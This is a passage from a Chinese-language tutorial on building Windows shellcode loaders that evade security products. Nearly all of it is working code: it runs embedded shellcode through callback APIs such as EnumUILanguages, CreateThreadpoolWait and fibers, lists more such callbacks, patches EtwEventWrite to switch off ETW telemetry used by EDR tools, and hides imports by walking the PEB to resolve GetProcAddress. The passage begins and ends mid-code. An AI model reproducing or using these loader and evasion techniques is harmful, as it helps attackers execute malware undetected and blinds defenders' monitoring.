00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (addr == NULL) {
return 0;
}
// 把shellcode拷贝到这块内存
memcpy(addr, buf, sizeof(buf));
// 使用回调函数调用执行
// 关于EnumDateFormatsA的函数参数
// 除了回调函数的指针 , 无脑强转一下 , 其他全NULL
EnumDateFormatsA((DATEFMT_ENUMPROCA)addr, NULL, NULL);
return 0;
}

EnumUILanguages

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <Windows.h>


int main() {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (addr == NULL) {
return 0;
}
// 把shellcode拷贝到这块内存
memcpy(addr, buf, sizeof(buf));
// 使用回调函数调用执行
EnumUILanguages((UILANGUAGE_ENUMPROC)addr, NULL, NULL);
return 0;
}

CertEnumSystemStore

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <Windows.h>
#include <Wincrypt.h> // 需要导入
#pragma comment(lib, "crypt32.lib") // 需要导入

int main() {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (addr == NULL) {
return 0;
}
// 把shellcode拷贝到这块内存
memcpy(addr, buf, sizeof(buf));
// 使用回调函数调用执行
CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)addr);
return 0;
}

其他回调函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
CertEnumSystemStore
CertEnumSystemStoreLocation
CreateThreadPoolWait
CreateTimerQueueTimer_Tech
CryptEnumOIDInfo
EnumCalendarInfo
EnumCalendarInfoEX
EnumChildWindows
EnumDesktopW
EnumDesktopWindows
EnumDirTreeW
EnumDisplayMonitors
EnumerateLoadedModules
EnumFontFamiliesExW
EnumFontFamiliesW
EnumFontsW
EnumUILanguages
EnumLanguageGroupLocalesW
EnumObjects
EnumPageFilesW
EnumPwrSchemes
EnumResourceTypesExW
EnumResourceTypesW
EnumSystemLocalesEx
EnumThreadWindows
EnumTimeFormatsEx
EnumUILanguagesW
EnumWindows
EnumWindowStationsW
FiberContextEdit
FlsAlloc
ImageGetDigestStream
ImmEnumInputContext
LdrEnumerateLoadedModules
SetTimer
SetupCommitFileQueueW
SymEnumProcesses

线程池回调执行-CreateThreadpoolWait

CreateThreadpoolWait函数是Windows操作系统提供的一个函数,用于创建一个线程池中的等待对象,用于异步等待一个事件或资源的状态改变,一旦状态改变,线程池中的工作者线程将会被唤醒执行任务。

由此可以通过调用传递给CreateThreadpoolWait的回调函数来执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <windows.h>
#include <threadpoolapiset.h>

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 创建一个事件对象,初始状态为有信号(TRUE),手动重置(FALSE)。
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);

// 分配可执行和可写的内存空间以存储 shellcode。
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将 shellcode 复制到分配的内存空间。
RtlMoveMemory(shellcodeAddress, buf, sizeof(buf));

// 创建一个线程池等待对象,并将 shellcode 的地址作为回调函数。
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);

// 将线程池等待对象与事件对象关联。
// 一旦事件被触发(状态变为有信号),将执行 shellcode。
SetThreadpoolWait(threadPoolWait, event, NULL);

// 等待事件对象被触发。
// 此时,shellcode 被设置为事件处理的回调函数,一旦事件被触发,shellcode 将执行。
WaitForSingleObject(event, INFINITE);

return 0;
}

创建协程运行

协程(Coroutine)是一种轻量级的线程,也被称为纤程(Fiber)或微线程(Microthread)。

它们是 一种用户级别的线程,由程序自身管理,而不是由操作系统内核管理。纤程是一种可以提高程序执行效率的调度机制,特别适用于需要大量并发执行任务的场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <Windows.h>
#include <Wincrypt.h> // 需要导入
#pragma comment(lib, "crypt32.lib") // 需要导入

int main() {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 修改shellcode所在内存的保护属性为可读、可写、可执行
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
// 将当前线程转换为纤程(轻量级线程)
ConvertThreadToFiber(NULL);
// 创建一个纤程对象,关联到shellcode作为纤程入口点,使用默认栈大小和无标志位
void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);
// 切换到新创建的纤程,开始执行shellcode
SwitchToFiber(shellcodeFiber);
// shellcode执行完毕后,删除纤程对象
DeleteFiber(shellcodeFiber);
return 0;
}

Patch ETW

Windows 事件跟踪 (ETW) 是⼀项内置功能,最初设计用于执行软件诊断,如今 ETW 被EDR厂商广泛使用.

对 ETW 的攻击会使依赖ETW遥测的⼀整类安全解决方案失效.
ETW指Windows事件追踪,是很多安全产品使用的windows功能。
其部分功能位于ntdll.dll中,可以修改内存中的etw相关函数达到禁止日志输出的效果,最常见的方法是
修改EtwEventWrite函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <windows.h>
#include <stdio.h>
#include <iostream>

using namespace std;

typedef void* (*tNtVirtual)(
HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection
);tNtVirtual oNtVirtual;

void patchETW() {
unsigned char patch[] = {0x48, 0x33, 0xc0, 0xc3}; // xor rax, rax; ret
ULONG oldprotect = 0;
size_t size = sizeof(patch);
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = {'E','t','w','E','v','e','n','t','W','r','i','t','e',0x0};
void* pEventWrite = GetProcAddress(GetModuleHandle(L"ntdll.dll"), (LPCSTR)sEtwEventWrite);
if (pEventWrite == NULL) {
cout << "Error: Unable to get EtwEventWrite address" << endl;
return;
}else{
printf("NTDLL.DLL START ADDRESS: %08x\n", (DWORD)GetModuleHandle(L"ntdll.dll"));
}

FARPROC farProc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtProtectVirtualMemory");
if (farProc == NULL) {
cout << "Error: Unable to get NtProtectVirtualMemory address" << endl;
return;
}else{
printf("NtProtectVirtualMemory ADDRESS: %08x\n", (DWORD)farProc);
}

oNtVirtual = (tNtVirtual)farProc;

oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
memcpy(pEventWrite, patch, sizeof(patch));
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
FlushInstructionCache(hCurrentProc, pEventWrite, size);
}

int main() {
patchETW();
unsigned char ShellCode[] = ""; // Add your shellcode here
void* exec = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof(ShellCode));
((void(*)())exec)();

return 0;
}

导入表隐藏

什么是导入表

import Address Table 在PE结构中,存在一个导入表,导入表中声明了这个PE文件会载入哪些模块,同时每个模块的结构中又会指向模块中的一些函数名称。

这样的组织关系是为了告诉操作系统这些函数的地址在哪里.方便修正调用地址.

由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或多个DLL中.

当PE文件被装入内存的时候,Windows装载器才将DLL装入,并调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.

其中导入地址表就指示函数实际地址.

那如何隐藏这个函数呢?或者如何动态的调用这个函数而不直接使用此函数名称,那么就要使用动态调用API函数了.

它可以在运行时动态解析并获取API函数的地址。这样,敏感函数不会出现在导入表中,从而使得恶意代码更难被发现.

实现思路

  1. 定位关键模块:首先找到包含核心API函数的关键模块(如kernel32.dll)。这通常可以通过解析PEB(Process Environment Block)中的模块列表来完成。
  2. 获取API地址:可以通过GetProcAddress定位到kernel32.dll后,需要解析导出表(Export Table)以获取 GetProcAddress函数的地址。GetProcAddress是一个核心函数,用于在运行时动态解析其他API 函数的地址并且可以结合LoadLibrary函数获取任意模块的任意函数。
  3. 加载其他API:通过GetProcAddress函数,可以逐个获取其他需要的API函数的地址。例如,可以通过GetProcAddress获取VirtualProtectCreateThreadWaitForSingleObject等函数的地址。
  4. 准备Shellcode:将Shellcode存储在缓冲区中,使用VirtualProtect函数将缓冲区的内存页属性更改为可执行,以确保可以安全地执行Shellcode

深度隐藏

通过手动获取dll文件的方式,获取这两个函数的地址。
大致流程:

  1. 找到kernel32.dll的地址

  2. 遍历kernel32.dll的导入表,找到GetProcAddress的地址

  3. 使用GetProcAddress获取LoadLibrary函数的地址

  4. 然后使用 LoadLibrary加载DLL文件

  5. 使用 GetProcAddress查找某个函数的地址

Windbg分析kernel32找基址

由于每个windows下的程序都会加载kernel32.dll,因此,找基址的过程是一样的.所以我们就用notepad.

查找地址

通过r $peb查看peb地址.获取到peb地址后,对_PEB结构体解析dt _PEB 0000008e0d35b000

也可以通过r $teb查看teb地址.获取到teb地址后,对_TEB结构体解析dt _TEB 0000008e0d364000

解析LDR

既然PEB的地址找到了,就对PEB进行解析,首先找到LDR

接下来,解析LDR

1
dt _PEB_LDR_DATA 0x00007ffea6976440

_LIST_ENTRY后面,怎么有两个值,是什么含义呢?加个-b,就看出来了

1
2
3
4
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

双向链表是一种非常常见的数据结构,用于维护各种资源和对象的列表。_LIST_ENTRY 是一个基本的链表结构,包含两个指针:FlinkBlink,分别指向下一个和上一个链表条目。

解析InLoadOrderModuleList

我们选取InLoadOrderModuleList这个链.对它的Flink进行解析.

1
dt _LDR_DATA_TABLE_ENTRY 0x0000020ce3606190
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// _LDR_DATA_TABLE_ENTRY结构体解释
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks; // 链接模块在加载顺序中的位置
LIST_ENTRY InMemoryOrderLinks; // 链接模块在内存顺序中的位置
LIST_ENTRY InInitializationOrderLinks;// 链接模块在初始化顺序中的位置
PVOID DllBase; // 模块在内存中的基址
PVOID EntryPoint; // 模块的入口点地址
ULONG SizeOfImage; // 模块的映像大小
UNICODE_STRING FullDllName; // 模块的完整路径
UNICODE_STRING BaseDllName; // 模块的基本名称
ULONG Flags; // 模块状态和属性的标志位
WORD ObsoleteLoadCount; // 旧版本的加载计数
WORD TlsIndex; // 线程局部存储索引
LIST_ENTRY HashLinks; // 哈希表中的链接
ULONG TimeDateStamp; // 模块编译的时间戳
PVOID EntryPointActivationContext; // 入口点的激活上下文
PVOID Lock; // 模块加载时的锁
PVOID DdagNode; // 依赖关系图的节点指针
LIST_ENTRY NodeModuleLink; // 依赖关系图中的链接
PVOID LoadContext; // 加载时的上下文
PVOID ParentDllBase; // 父模块的基址
PVOID SwitchBackContext; // 切换回的上下文
RTL_BALANCED_NODE BaseAddressIndexNode; // 平衡树节点
RTL_BALANCED_NODE MappingInfoIndexNode; // 映射信息节点
ULONG OriginalBase; // 原始基址
LARGE_INTEGER LoadTime; // 加载时间
ULONG BaseNameHashValue; // 基本名称的哈希值
ULONG LoadReason; // 模块加载的原因
ULONG ImplicitPathOptions; // 隐式路径选项
ULONG ReferenceCount; // 模块的引用计数
ULONG DependentLoadFlags; // 依赖加载标志
UCHAR SigningLevel; // 签名级别
ULONG CheckSum; // 模块的校验和
PVOID ActivePatchImageBase; // 活动补丁的基址
ULONG HotPatchState; // 热补丁的状态
} LDR_DATA_TABLE_ENTRY;

继续遍历InLoadOrderLinksFlink字段:

1
dt _LDR_DATA_TABLE_ENTRY 0x0000020ce3606040

还不是Kernel32.dll,继续查InLoadOrderLinks

到此,通过遍历InLoadOrderLinks链,我们找到了KERNEL32.DLL,取出基址就比较容易了,在0x30偏移处.取出这个基址,我们就可以解析PE导出表,找到我们需要的函数的地址了.

代码实现

x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <stdio.h>
#include <windows.h>

// 声明定义API函数
typedef FARPROC(WINAPI* p_GetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef HMODULE(WINAPI* p_LoadLibraryA)(LPCSTR lpLibFileName);
typedef BOOL(WINAPI* p_VirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* p_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* p_WaitForSingleObject)(HANDLE, DWORD);

// 内联汇编函数,用于获取Kernel32.dll模块的基地址
HMODULE inline __declspec(naked) GetKernel32Moudle() {
__asm {
mov eax, fs:[0x30]
mov eax, [eax + 0x0C]
mov eax, [eax + 0x14]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x10]
ret
}
}

// 获取GetProcAddress函数的地址
DWORD pGetProcAddress(HMODULE Kernel32Base) {
char szGetProcAddr[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0 };
DWORD result = NULL;

// 遍历kernel32.dll的导出表,找到GetProcAddr函数地址
PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)Kernel32Base;
PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)((DWORD_PTR)Kernel32Base + pDosHead->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)Kernel32Base + pOptHead->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* pAddOfFun_Raw = (DWORD*)((DWORD_PTR)Kernel32Base + pExport->AddressOfFunctions);
WORD* pAddOfOrd_Raw = (WORD*)((DWORD_PTR)Kernel32Base + pExport->AddressOfNameOrdinals);
DWORD* pAddOfNames_Raw = (DWORD*)((DWORD_PTR)Kernel32Base + pExport->AddressOfNames);

char* pFinded = NULL, * pSrc = szGetProcAddr;
for (DWORD dwCnt = 0; dwCnt < pExport->NumberOfNames; dwCnt++) {
pFinded = (char*)((DWORD_PTR)Kernel32Base + pAddOfNames_Raw[dwCnt]);
while (*pFinded && *pFinded == *pSrc) {
pFinded++; pSrc++;
}
if (*pFinded == *pSrc) {
result = (DWORD)((DWORD_PTR)Kernel32Base + pAddOfFun_Raw[pAddOfOrd_Raw[dwCnt]]);
break;
}
pSrc = szGetProcAddr;
}
return result;
}

int main() {
// 使用实际的shellcode替换此字符串
unsigned char buf[] = "填写x86的shellcode";

HMODULE hKernal32 = GetKernel32Moudle(); // 获取Kernel32模块的地址
p_GetProcAddress GetProcAddress = (p_GetProcAddress)pGetProcAddress(hKernal32); // 获取GetProcAddress函数的地址

// 获取函数地址
p_VirtualProtect VirtualProtect = (p_VirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
p_CreateThread CreateThread = (p_CreateThread)GetProcAddress(hKernal32, "CreateThread");
p_WaitForSingleObject WaitForSingleObject = (p_WaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");

DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);

HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

return 0;
}

X64

动态获取 GetProcAddress

由于x64无法编写内联汇编代码, 因此需另创一个asm文件来进行编写 右键—>添加—>新建项—>GetInLoadOrderModuleList.asm

x64
1
2
3
4
5
6
7
8
9
.CODE
GetInLoadOrderModuleList PROC
mov rax, gs:[60h] ; 获取 PEB 的地址,PEB 在 TEB 中的偏移是 0x60
mov rax, [rax+18h] ; 获取 PEB_LDR_DATA 的地址,位于 PEB 的偏移 0x18
mov rax, [rax+10h] ; 获取 InLoadOrderModuleList 的地址,位于 PEB_LDR_DATA 的偏移 0x10
ret ; 返回调用者,结束过程
GetInLoadOrderModuleList ENDP

END

鼠标右键单击GetInLoadOrderModuleList.asm—>属性—>从生成中排除设置为—>项类型设置为定义生成工具

—>自定义生成工具—>命令行—>ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm—>输出框—>$(IntDir)%(FileName).obj

打开项目属性—>C/C++—>代码生成—>禁用安全检查

main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#include <windows.h>

extern "C" PVOID __stdcall GetInLoadOrderModuleList();
// 声明一个外部的汇编函数,用于获取InLoadOrderModuleList链表的地址。
// extern "C" 保证该函数名在C++编译后不会被改变,以便与汇编代码正确链接。

typedef struct _UNICODE_STRING {
USHORT Length; // 字符串的长度,以字节为单位。
USHORT MaximumLength; // 字符串的最大长度,以字节为单位。
PWSTR Buffer; // 指向实际字符串数据的指针。
} UNICODE_STRING, * PUNICODE_STRING;
// 定义UNICODE_STRING结构体,用于表示宽字符的字符串。

typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks; // 链表指针,用于按加载顺序链接模块。
LIST_ENTRY InMemoryOrderLinks; // 链表指针,用于按内存顺序链接模块。
LIST_ENTRY InInitializationOrderLinks; // 链表指针,用于按初始化顺序链接模块。
PVOID DllBase; // 模块的基地址。
PVOID EntryPoint; // 模块的入口点地址。
ULONG SizeOfImage; // 模块的大小,以字节为单位。
UNICODE_STRING FullDllName; // 包含模块完整路径的UNICODE_STRING结构体。
UNICODE_STRING BaseDllName; // 仅包含模块文件名的UNICODE_STRING结构体。
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// 定义LDR_DATA_TABLE_ENTRY结构体,用于表示加载模块的信息。



// 获取 Kernel32.dll 的基地址
HMODULE getKernel32Address() {
// 获取InLoadOrderModuleList链表的头指针
PLIST_ENTRY moduleList = (PLIST_ENTRY)GetInLoadOrderModuleList();
// 获取链表中的第一个元素
PLIST_ENTRY current = moduleList->Flink;

// 遍历整个链表,直到回到头指针
while (current != moduleList) {
// 根据current指针获取包含它的LDR_DATA_TABLE_ENTRY结构体的基地址
LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
// 获取模块的基本名称(不含路径)
const wchar_t* moduleName = entry->BaseDllName.Buffer;

// 比较模块名称是否为 "KERNEL32.DLL"(不区分大小写)
if (_wcsicmp(moduleName, L"KERNEL32.DLL") == 0) {
// 如果找到KERNEL32.DLL,返回其基地址
return (HMODULE)entry->DllBase;
}

// 移动到链表中的下一个元素
current = current->Flink;
}

// 如果循环结束仍未找到KERNEL32.DLL,返回空指针
return nullptr;
}


// 获取 GetProcAddress 函数的地址
DWORD64 getGetProcAddress(HMODULE hKernel32) {
// 将模块基地址转换为IMAGE_DOS_HEADER类型指针
PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernel32;
// 根据DOS头结构中的偏移,获取PE头的地址
PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew);
// 获取导出表的地址
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 获取导出函数地址数组的地址
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions);
// 获取导出函数名称数组的地址
PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames);
// 获取导出函数序号数组的地址
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals);
// 遍历导出表中的所有函数名称
for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
// 根据序号获取函数的地址
LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[AddressOfNameOrdinals[i]]);
// 获取函数名称
PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]);
// 比较是否为 "GetProcAddress" 函数(区分大小写)
